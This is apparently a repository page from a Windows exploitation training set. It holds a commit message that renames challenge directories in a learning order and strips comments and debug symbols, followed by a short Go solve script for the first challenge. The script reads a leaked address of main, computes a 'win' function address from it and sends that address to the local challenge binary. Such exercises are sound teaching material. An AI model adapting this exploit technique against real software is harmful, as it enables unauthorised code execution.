Rename task dirs to 01_info_leak through 07_heap_aslr following a standard learning order (info leak → ROP → fmtstr → heap overflow → UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos, heap_segment, and template directories. Strip debug symbols from all compiled challenge binaries and remove all .exe files from the tree. Strip all explanatory comments from solve scripts. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
39 lines
800 B
Go
39 lines
800 B
Go
package main
|
|
|
|
import (
|
|
"bytes"
|
|
"fmt"
|
|
"log"
|
|
"strconv"
|
|
"winpwn"
|
|
)
|
|
|
|
func main() {
|
|
tube, err := winpwn.Spawn("./task1.exe")
|
|
if err != nil {
|
|
log.Fatalf("Spawn: %v", err)
|
|
}
|
|
|
|
if _, err := tube.RecvUntil([]byte("main: ")); err != nil {
|
|
log.Fatalf("RecvUntil: %v", err)
|
|
}
|
|
addrBytes, err := tube.RecvUntil([]byte("\n"))
|
|
if err != nil {
|
|
log.Fatalf("RecvUntil: %v", err)
|
|
}
|
|
mainAddr, err := strconv.ParseUint(string(bytes.TrimSpace(addrBytes)), 16, 64)
|
|
if err != nil {
|
|
log.Fatalf("parse addr: %v", err)
|
|
}
|
|
fmt.Printf("[+] Leaked main: 0x%X\n", mainAddr)
|
|
|
|
winAddr := mainAddr - 267
|
|
fmt.Printf("[+] win: 0x%X\n", winAddr)
|
|
|
|
if err := tube.SendLineAfter([]byte("0x12345: "), []byte(fmt.Sprintf("%x", winAddr))); err != nil {
|
|
log.Fatalf("SendLineAfter: %v", err)
|
|
}
|
|
|
|
tube.Interactive()
|
|
}
|